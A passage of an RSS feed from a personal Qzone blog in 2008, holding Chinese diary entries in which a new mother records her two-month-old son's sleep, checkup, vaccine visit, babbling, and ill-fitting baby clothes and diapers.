<pubDate>Fri, 21 Nov 2008 09:13:31 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1227258811</guid>
</item>

<item>
<title><![CDATA[2月]]></title>
<link>http://326199283.qzone.qq.com/blog/1226419650</link>
<description><![CDATA[<span style="font-size:13px;line-height:1.8em;">    这个月8号LION小王子就满2个月了，进入第2个月，他明显的白天睡觉的时间短了，经常醒着要人陪他玩，最喜欢大人竖抱着他，到处走，在家里东看西看~很喜欢看墙上挂的奶奶画的画，还有爸爸妈妈的照片~他学会踢被子了，有一天晚上听他哼哼，回头一看，光着腿在躺着，一摸小腿冰凉，小家伙还在对我笑～有时他也不知道我在对他说什么就笑，我说“臭小子，你怎么还不睡？”他也咧着没牙的大嘴对我笑～～有时我也弄不懂他哼哼的含义，以为他哼哼两声没事，等到他床前一看，看他一个人在躺着，一边啃自己的手，啃的吧唧吧唧的，啃两口，哼哼两声，应该是饿了~真是可怜～好象这个妈妈当的~都不给奶喝～</span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">    8号星期六那天月嫂吴姐来我们家看看唐唐了，</span><wbr /><span style="font-size:13px;line-height:1.8em;">    10号是星期一，我去医院给唐唐吃糖丸了，吃糖丸的时候，我说“唐唐，吃糖糖～”怎么觉得有点不对劲呢～<img src="http://imgcache.qq.com/qzone/em/e122.gif"><wbr />后半句又咽回去了，旁边一个妈妈还在说“今天吃糖糖，不打针～”<img src="http://imgcache.qq.com/qzone/em/e140.gif"><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">    然后去体检，唐唐16斤了，身高65CM，我说我怎么抱着他觉得那么沉，那个医生都算不过来数了，做检查的人又多，她很忙，在纸上划拉，然后说一天长一两多肉，一天长一两多，到底也没算出来一天长多少肉～有点超了～我是担心宝宝会生长过快，缺钙，医生说如果没有特别的表现，6个月之前的孩子不用补钙～又遇到上次体检时的一个妈妈，她说她的孩子三个月了还不到13斤～小小孩的差别好大呀，可能长大一点就没什么差别了～我还遇到一个以前在广场上遇到的妈妈，她的宝宝5个月了，我怎么看跟我们家宝宝差不多大呢～我还没有好好抱我们家的小小孩，他就长这么大了，我在医院的时候因为刀口疼，起不来床，用手腕硬撑着起床，把左手腕扭了，大夫说是腱鞘炎，一直疼了一个多月，月子里的时候都没怎么抱这个小小孩，一眨眼都这么重了～</span><wbr /> <span style="font-size:13px;line-height:1.8em;">快抱不动了</span><wbr />～<span style="font-size:13px;line-height:1.8em;">现在抱起来很费劲，我看我右手腕又快扭了</span><wbr />～ <br><span style="font-size:13px;line-height:1.8em;">    这几天数字电视升级了，可以免费看两个月的一些收费频道，其中有中华美食频道～新学了一个酱香鸡翅，需要两天的时间来做，两天后做好了来报告～</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1226419650#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 11 Nov 2008 16:07:30 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1226419650</guid>
</item>

<item>
<title><![CDATA[2008.11.04]]></title>
<link>http://326199283.qzone.qq.com/blog/1225812319</link>
<description><![CDATA[<span style="font-size:13px;line-height:1.8em;">    宝宝每一天都有新变化，这两天Lion小王子又睡的比较好了，晚上起来很少次数了，倒是我，醒了看他好长时间没吃奶了就捣鼓他起来，他也不起来，哼哼两声继续睡~</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">    今天我在厨房做蛋炒饭，出去看了他两次，看他在小床上睡的很香，就关了厨房门打开吸油烟机炒饭，外边有什么声音我都没有听到，等我端碗去客厅的时候，听到他哇哇哭的不得了了~赶紧过去抱他，一边跟他说对不起，这小家伙瘪着嘴，哭的红红的眼睛和鼻头，脸颊也通红，委屈的不得了的样子，停了哭，还哽咽着抽泣了好几声，让人忍俊不禁，把我给逗笑了～我觉得这个小家伙什么都懂得，他的笑也不是无意识的，是开心了才会笑，今天又看着他在梦中咯咯笑出了声，不知道是什么样的美梦～傍晚爸爸回家后逗他，问他是从哪里来的，一边摸他的小脸，这个小家伙高兴的咧着大嘴笑，一边笑一边还调皮的扭动身体，然后非常高兴的响亮的“啊”了一声，把爸爸高兴的，问我他什么时候又会发出这样的声音了，我记得是上个星期三他爷爷奶奶来的时候他高兴的发出过这种声音～</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">    喜欢看他的笑容，现在一逗他他就笑，真是太可爱了～有时他醒来乖乖的躺着，看他很无聊的样子，真想去多逗逗他～可我还在忙个不停，一会儿收拾这个，一会儿洗洗那个，希望以后能尽量多一点时间来陪他～</span><wbr /><br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1225812319#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 04 Nov 2008 15:25:19 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1225812319</guid>
</item>

<item>
<title><![CDATA[小牛仔]]></title>
<link>http://326199283.qzone.qq.com/blog/1225641591</link>
<description><![CDATA[<div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">唐唐今天挺乖的，上午醒了以后跟我们“说”了好半天话，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">他现在能发出一些a o ai e en hi h 等等的一些音节，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">经常“啊哦啊哦～”的跟我们说话，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">今天除了纸尿裤没有粘紧，便便后漏弄脏了一个睡袋，没出其它状况～</span><wbr /> </div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">傍晚我找出以前怀孕的时候给他买的衣服，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">他过满月的时候没有出去过，婆婆说过百岁的时候去酒店庆祝，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">过百岁也约了去影楼拍照了，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">所以我想找衣服试试看合适不，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">没想到标着6M的卫衣他现在穿正正好，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">三个月以后不知道能不能穿了，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">标着3M的牛仔背带裤现在穿已经不合适了，好不容易给他穿上了。</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">我发现小小孩的衣服很难买合适了，标的号都不准，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">西松屋50-60CM身长的和尚服，他只穿了两次就不能穿了，当短袖也穿不上了，伸不进去胳膊，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">小蚂蚁0-8个月的和尚服，他还没出满月就成露脐装了～</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">华金的衣服号还比较大。</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">还有纸尿裤标的号也不准，帮宝适L号的，他现在穿都小了，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">安儿乐M号的穿的正合适，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">我这个新手妈妈不了解行情，不知道什么品牌的好，就只好各个品牌都买了一包试试，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">发现菲比的号也小，其它妈咪宝贝，嘘嘘乐等等的号都大，他现在穿M号的就行～</span><wbr /> </div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">宝宝快到两个月了，真快～该要去吃糖丸了～</span><wbr /> </div><br><div style="text-align:center;"><wbr /><a href="http://xa.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc166344f7e6f51140d1d0de8b6ce22dc53445dcad7560ae76a1d8ffd655b7d5d80894e0cb7c351f22c8c238498109bfb56b982e939669c6c015ac5d2ce99f93d5e9ad9247da559f" target="_blank"><img style="border:0;" src="http://xa.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc166344f7e6f51140d1d0de8b6ce22dc53445dcad7560ae76a1d8ffd655b7d5d80894e0cb7c351f22c8c238498109bfb56b982e939669c6c015ac5d2ce99f93d5e9ad9247da559f" /></a><wbr /> </div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">衣服的商标还在上边翘翘着，我才发现，</span><wbr /></div><div style="text-align:center;"><span style="font-size:13px;line-height:1.8em;">下边这张是在卧室拍的，所以发黄，我这技术又拍虚了～</span><wbr /></div><div style="text-align:center;"><wbr /><a href="http://xa.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc166344ee176d5ef2de53af9bed670e7ac929b5d0b43175f22c05e1f5304a77e30d1fe8eb149fb69a44ff3bf18c49030e0ef86b3288d6350547db02fee8163906e04e332686d3bd" target="_blank"><img style="border:0;" src="http://xa.photo.store.qq.com/http_imgload.cgi?/rurl4_b=eea751f8af3f4d172a735e7ffc166344ee176d5ef2de53af9bed670e7ac929b5d0b43175f22c05e1f5304a77e30d1fe8eb149fb69a44ff3bf18c49030e0ef86b3288d6350547db02fee8163906e04e332686d3bd" /></a><wbr /> </div> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[326199283@qq.com(糖包的麻麻)]]></author>
<comments>http://326199283.qzone.qq.com/blog/1225641591#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Sun, 02 Nov 2008 15:59:51 GMT</pubDate>
<guid>http://326199283.qzone.qq.com/blog/1225641591</guid>
</item>

</channel>
</rss>

